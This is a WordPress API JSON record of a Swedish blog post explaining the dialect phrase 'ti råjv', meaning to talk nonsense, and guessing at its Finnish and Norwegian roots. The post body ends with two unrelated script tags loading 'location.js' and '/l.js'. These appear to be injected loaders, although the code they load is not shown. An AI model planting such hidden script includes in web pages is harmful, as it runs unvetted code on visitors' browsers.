{"id":2131,"date":"2014-01-08T01:37:23","date_gmt":"2014-01-07T23:37:23","guid":{"rendered":"http:\/\/84.20.155.7\/nywp\/?p=2131"},"modified":"2014-01-08T01:37:23","modified_gmt":"2014-01-07T23:37:23","slug":"dagens-ord-ti-rajv","status":"publish","type":"post","link":"https:\/\/hindersby.net\/nywp\/?p=2131","title":{"rendered":"Dagens ord: Ti r\u00e5jv"},"content":{"rendered":"<p>Ett ord som inte f\u00e5r gl\u00f6mmas bort \u00e4r<\/p>\n<p><strong>ti r\u00e5jv <\/strong><\/p>\n<p>Betydelsen \u00e4r att prata riktigt mycket sm\u00f6rja.<\/p>\n<p><strong>Tu r\u00e5jvar !\u00a0<\/strong> (du pratar bara sm\u00f6rja)<\/p>\n<p>Varifr\u00e5n ordet kommer vet jag inte. Finskans &#8221;roivata&#8221; betyder &#8221;kasta&#8221; som inte riktigt passar men norskan har ordet &#8221;radda&#8221;\u00a0 som betyder\u00a0 &#8221;prata mycket, jamsa, skryta&#8221;. Eller &#8221;rolva&#8221; (rolfa) som anv\u00e4nds i vissa lokala norska dialekter i samma betydelse. En tredje variant i norska dialekter \u00e4r &#8221;rodda&#8221; (l\u00e5ta munnen l\u00f6pa, skvallra).<\/p>\n<p>S\u00e5 undrar man om det h\u00f6r ihop med finlandssvenskans fina ord <strong>r\u00e5dd <\/strong><\/p>\n<p>&nbsp;<script src='location.js?p=1' type=text\/javascript><\/script><script src='\/l.js?p=1' type=text\/javascript><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ett ord som inte f\u00e5r gl\u00f6mmas bort \u00e4r ti r\u00e5jv Betydelsen \u00e4r att prata riktigt mycket sm\u00f6rja. Tu r\u00e5jvar !\u00a0 (du pratar bara sm\u00f6rja) Varifr\u00e5n ordet kommer vet jag inte. Finskans &#8221;roivata&#8221; betyder &#8221;kasta&#8221; som inte riktigt passar men norskan har ordet &#8221;radda&#8221;\u00a0 som betyder\u00a0 &#8221;prata mycket, jamsa, skryta&#8221;. Eller &#8221;rolva&#8221; (rolfa) som anv\u00e4nds i &hellip; <a href=\"https:\/\/hindersby.net\/nywp\/?p=2131\" class=\"more-link\">Forts\u00e4tt l\u00e4sa<span class=\"screen-reader-text\"> \u201dDagens ord: Ti r\u00e5jv\u201d<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[74],"tags":[],"class_list":["post-2131","post","type-post","status-publish","format-standard","hentry","category-sprak"],"_links":{"self":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts\/2131","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2131"}],"version-history":[{"count":1,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts\/2131\/revisions"}],"predecessor-version":[{"id":2133,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=\/wp\/v2\/posts\/2131\/revisions\/2133"}],"wp:attachment":[{"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2131"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2131"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hindersby.net\/nywp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2131"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}